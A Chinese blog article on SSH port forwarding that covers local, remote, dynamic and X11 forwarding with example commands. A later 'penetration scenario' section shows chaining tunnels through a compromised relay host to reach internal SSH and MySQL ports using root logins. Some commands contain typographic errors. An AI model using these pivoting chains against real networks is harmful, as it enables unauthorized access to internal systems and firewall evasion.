热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】SSH端口转发篇

前言SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。这一过程有时也被叫做“隧道” (tunneling),这是因为SSH为其他TCP链接提供了一个安全的通道来进行传输而得名。例如,Tel

https://img.php1.cn/3cd4a/1eebe/cd5/e3aa5425383ba10d.png

前言

SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。这一过程有时也被叫做“隧道” (tunneling),这是因为SSH为其他TCP链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果您工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的连接,那么也能够通过将 TCP 端口转发来使用 SSH 进行通讯。


(一)概述

SSH端口转发能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了相应的加密及解密服务。


(二)功能

1、加密SSH Client端至SSH Server端之间的通讯数据;

2、突破防火墙的限制完成一些之前无法建立的TCP连接。


(三)方式

共有四种方式,分别为本地转发,远程转发,动态转发,X协议转发。

  (I)本地端口转发

SSH连接和应用的连接这两个连接的方向一致。

ssh -L [:]:: 

Localhost参数可省略,默认为0:0:0:0,但为了安全性考虑务必使用127.0.0.1作为本地监听端口。

将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。

如下:

localhost: ssh -L 7001:localhost:7070 sisca@216.194.70.6

登陆前本地主机端口监听状态:

http://p0.qhimg.com/t0171a76e8daa4d2b54.png

登陆后本地主机端口监听状态:

http://p5.qhimg.com/t0144c3351474b5b02c.png

登陆后远程主机不会监听端口。

小结:本地端口转发的时候,本地的ssh在监听7001端口.

   (Ⅱ)远程端口转发

SSH连接和应用的连接这两个连接的方向相反

ssh -R [:]:: 

Localhost参数可省略,默认为0:0:0:0,为了安全性务必使用127.0.0.1作为本地监听端口。

将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。

如下:

localhost: ssh -R 7001:localhost:7070 sisca@216.194.70.6

登陆前本地主机端口监听状态:

http://p3.qhimg.com/t0151ca8c94fdad804e.png

登陆后本地主机端口监听状态:

http://p3.qhimg.com/t013a4c4d24e394ccd2.png

登陆后远程主机端口监听状态:

http://p5.qhimg.com/t01d11a93d90540a8ce.png

小结:使用远程端口转发时,本地主机的端口监听并没有发生变化,相反远程主机却开始监听我们指定的7001端口。

   (Ⅲ)动态端口转发

把远端ssh服务器当作了一个安全的代理服务器

ssh -D [:] 

Localhost参数可省略,默认为0:0:0:0,为了安全性务必使用127.0.0.1作为本地监听端口。

建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问,现在这种方法最常用的地方就是翻墙。

如下:

localhost: ssh -D 7070 sisca@216.194.70.6

登陆前本地主机端口监听状态:

http://p3.qhimg.com/t01ed0b5be966a0e7b7.png

登陆后本地主机端口监听状态:

http://p3.qhimg.com/t01c231f22024667378.png

小结:使用动态端口转发时,本地主机的ssh进程在监听指定的7070端口。

   (Ⅳ)X协议转发

把远端ssh服务器当作了一个安全的代理服务器。

ssh -X  

如,我们可能会经常会远程登录到 Linux/Unix/Solaris/HP 等机器上去做一些开发或者维护,也经常需要以GUI方式运行一些程序,比如要求图形化界面来安装 DB2/WebSphere 等等。这时候通常有两种选择来实现:VNC或者X窗口,让我们来看看后者。一个比较常见的场景是,我们的本地机器是Windows操作系统,这时可以选择开源的XMing来作为我们的XServer,而SSH Client则可以任意选择了,例如PuTTY,Cygwin均可以配置访问SSH的同时建立X转发。  

SSH端口转发除上述四个代表不同工作方式的参数外还有一些附属参数:

-C:压缩数据传输

-N:不执行脚本或命令,通常与-f连用

-f:后台认证用户/密码,通常与-N连用,不用登陆到远程主机,如果通过其他程序控制隧道连接,应当避免将SSH客户端放到后台执行,也就是去掉-f参数。

-g:在-L/-D/-R参数中,允许远程主机连接到建立的转发端口,如果不加这个参数,只允许本地主机建立连接。


   (四)场景模拟

场景一:将本机的80端口转发到174.139.9.66的8080端口。

ssh  -C –f –g –N –L 80:174.139.9.66:8080 master@174.139.9.66

接着会提示输入master的密码,或使用-pw参数完成

场景二:一次同时映射多个端口

Ssh -L 8888:www.host.com:80 -L 110:mail.host.com:110 -L    25:mail.host.com:25 user@host

同时把服务器(www.host.com)的80,110,25端口映射到本机的8888,110和25端口

场景三:A内网主机能放问公网的123.123.123.123的22端口,但是不能访问公网234.234.234.234的21端口,但是这两台公网主机能互访。

A主机:ssh -CNfg –L 2121:234.234.234.234:21 –pw abc123 user@123.123.123.123 ;然后A主机:ftp://localhost:2121

前提是获取123.123.123.123的22端口账号口令(普通和root口令均可以,区别是转发的端口问题)

场景四:A内网主机能放问公网的123.123.123.123的22端口,但是公网B主机123.123.123.123不能访问内网的A主机。

A主机:ssh -CNfg –R 2222:127.0.0.1:22 –pw abc123 user@123.123.123.123;B主机:ssh 127.0.0.1 –p 2222

前提是B主机开放22端口,账号口令(自建ssh服务器,或用肉鸡),灰鸽子木马用的也是反向链接,Destination (LAN_ip) <- |NAT| <- Source (home_ip)

场景五:A内网主机只能访问公网的123.123.123.123,但是A如果想访问公网的很多资源。

A主机:ssh -CNf –D 1080 –pw abc123 user@123.123.123.123;A主机浏览器socks 5 proxy设置为localhost:8888,所有之前无法访问的网站现在都可以访问。

场景六:A内网主机开了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服务,无合法 ip 地址;外网主机B(123.123.123.123),开了sshd 服务,有合法 ip ;我们的目的是让 internet 上的任何主机能访问A上的各种服务。

B主机:sshd服务端做点小小的设置:vi /etc/ssh/sshd.config加入 GatewayPorts yes,然后重启sshd服务:/etc /init.d/ssh restart 或 /etc/init.d/sshd restart或使用-g参数

 A主机:ssh -CNf –R 21:127.0.0.1:21 –pw abc123 user@123.123.123.123

公网其它主机:ftp://123.123.123.123:21

场景七:A内网主机开了 http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服务,无合法 ip 地址;外网主机 B(123.123.123.123) 开了 sshd 服务,有合法 ip ;我们的目的是让 internet 上的任何主机能访问 A 上的各种服务。

A主机:ssh -CN –R 1234:127.0.0.1:80 –pw abc123 user@123.123.123.123

B主机:socat tcp-listen:80,reuseaddr,fork tcp:localhost:1234

公网其它主机:http://123.123.123.123:80,此时就是访问内网主机的80端口

场景八:PuTTY自带的plink.exe实现ssh代理

http://p4.qhimg.com/t01e2c1cecb32dcbfd8.png

http://p8.qhimg.com/t011757494fcfa9bb38.png

PLINK.EXE -C -N -D 127.0.0.1:7000 est@202.115.22.x[:21314]
ssh -CfNg -D 127.0.0.1:7000 est@202.115.22.x:21314


(五) 渗透情景模拟

A为攻击主机,开启的ssh服务;

B为web/应用/数据库服务器,开启22/80/3306端口;

D为肉鸡,开启22端口;

情景一:

http://p1.qhimg.com/t01d66982edb4b23513.png

方法一:socks5代理

A: ssh –D 8080 root@B_IP –pw root

方法二:本地端口转发(B的3306端口)

A:ssh –L 3306:B_IP:3306 –pw root root@B_IP

方法三:远程端口转发

B: ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

情景二:

http://p3.qhimg.com/t013b4ccb083e7c631e.png

法一:socks5代理

A:ssh -D 8080 root@A_IP –pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP

法二:远程端口转发(将3306端口转发)

B:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

情景三:

http://p2.qhimg.com/t011c7bdc6cfe5bca29.png

法一:socks5代理

A:ssh -D 8080 root@A_IP -pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP

法二:远程端口转发(将3306端口转发)

B:ssh -R 3306:C_IP:3306 -pw root root@A_IP

法三:

B:ssh –L 1234:C_IP:3306 –pw root root@C_IP
B:ssh –R 3306:127.0.0.1:1234 –pw root root@A_IP

情景四:

http://p3.qhimg.com/t0175ec7b4d3eb8f5b6.png

一、

http://p9.qhimg.com/t016343f29b5e098bcc.png

22端口转发

A: ssh –L 2222:B_IP:22 –pw root root@D_IP

3306端口转发

D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
A: ssh  -L 3306:D_IP:3306 –pw root root@D_IP

二、

http://p4.qhimg.com/t01b6db0a9fff2419dc.png

22端口转发

B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
A:ssh –L 2222:D_IP:2222 –pw root root@D_IP

3306端口转发

B: ssh –L 3306:127.0.0.1:3306 –pw root root@D_IP
A: ssh  -L 3306:D_IP:3306 –pw root root@D_IP

三、

http://p8.qhimg.com/t014fbc0836581b2424.png

22端口转发

B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
D:ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP

3306端口转发

B: ssh –R 3306:127.0.0.1:3306 –pw root root@D_IP
D: ssh  -R 3306:127.0.0.1:3306 –pw root root@A_IP

四、

http://p3.qhimg.com/t01584106124778b06d.png

22端口转发

D: ssh –L 2222:B_IP:22 –pw root root@B_IP
D: ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP

3306端口转发

D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
D: ssh  -R 3306:127.0.0.1:3306 –pw root root@A_IP

情景五:

http://p4.qhimg.com/t010871837d6558dfd8.png

一、

http://p4.qhimg.com/t01fc327b5dba378b17.png

将C的3306端口转发出来

D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
A:ssh –L 3306:D_IP:3306 –pw root root@D_IP

二、

http://p8.qhimg.com/t01b51b4455ea1f30f5.png

将C的3306端口转发出来

B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
A:ssh –L 3306:D_IP:3306 –pw root root@D_IP

三、

http://p7.qhimg.com/t0153779a1f959d779d.png

将C的3306端口转发出来

B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

四、

http://p7.qhimg.com/t01c3845c9f810554a2.png

将C的3306端口转发出来

D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

通过将TCP连接转发到SSH通道上以解决数据加密以及突破防火墙的种种限制。对一些已知端口号的应用,例如Telnet/LDAP/SMTP,我们可以使用本地端口转发或者远程端口转发来达到目的。动态端口转发则可以实现SOCKS代理从而加密以及突破防火墙对Web浏览的限制。当然,端口转发还有很多好用的工具供大家选择。本文参考了网上之前的文章,并加入了自己的理解,感兴趣的话可以搞个环境实验下,如有问题,希望各位批评指正。


推荐阅读
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 本文介绍了通过ABAP开发往外网发邮件的需求,并提供了配置和代码整理的资料。其中包括了配置SAP邮件服务器的步骤和ABAP写发送邮件代码的过程。通过RZ10配置参数和icm/server_port_1的设定,可以实现向Sap User和外部邮件发送邮件的功能。希望对需要的开发人员有帮助。摘要长度:184字。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了RPC框架Thrift的安装环境变量配置与第一个实例,讲解了RPC的概念以及如何解决跨语言、c++客户端、web服务端、远程调用等需求。Thrift开发方便上手快,性能和稳定性也不错,适合初学者学习和使用。 ... [详细]
  • 本文介绍了在使用Python中的aiohttp模块模拟服务器时出现的连接失败问题,并提供了相应的解决方法。文章中详细说明了出错的代码以及相关的软件版本和环境信息,同时也提到了相关的警告信息和函数的替代方案。通过阅读本文,读者可以了解到如何解决Python连接服务器失败的问题,并对aiohttp模块有更深入的了解。 ... [详细]
  • Java在运行已编译完成的类时,是通过java虚拟机来装载和执行的,java虚拟机通过操作系统命令JAVA_HOMEbinjava–option来启 ... [详细]
  • 本文介绍了在Linux下安装和配置Kafka的方法,包括安装JDK、下载和解压Kafka、配置Kafka的参数,以及配置Kafka的日志目录、服务器IP和日志存放路径等。同时还提供了单机配置部署的方法和zookeeper地址和端口的配置。通过实操成功的案例,帮助读者快速完成Kafka的安装和配置。 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
  • 本文讨论了在VMWARE5.1的虚拟服务器Windows Server 2008R2上安装oracle 10g客户端时出现的问题,并提供了解决方法。错误日志显示了异常访问违例,通过分析日志中的问题帧,找到了解决问题的线索。文章详细介绍了解决方法,帮助读者顺利安装oracle 10g客户端。 ... [详细]
  • Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案
    本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... [详细]
  • 微软评估和规划(MAP)的工具包介绍及应用实验手册
    本文介绍了微软评估和规划(MAP)的工具包,该工具包是一个无代理工具,旨在简化和精简通过网络范围内的自动发现和评估IT基础设施在多个方案规划进程。工具包支持库存和使用用于SQL Server和Windows Server迁移评估,以及评估服务器的信息最广泛使用微软的技术。此外,工具包还提供了服务器虚拟化方案,以帮助识别未被充分利用的资源和硬件需要成功巩固服务器使用微软的Hyper - V技术规格。 ... [详细]
  • 邮件服务在网络里的角色是越来越重要,不管是因特网上还是在局域网内部,用户都习惯使用电子邮件来处理日常的工作。而越来越多的企业和单位,也都急切希望能拥有自己的内部邮件服务器,以加强员 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
author-avatar
手机用户2502887763
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有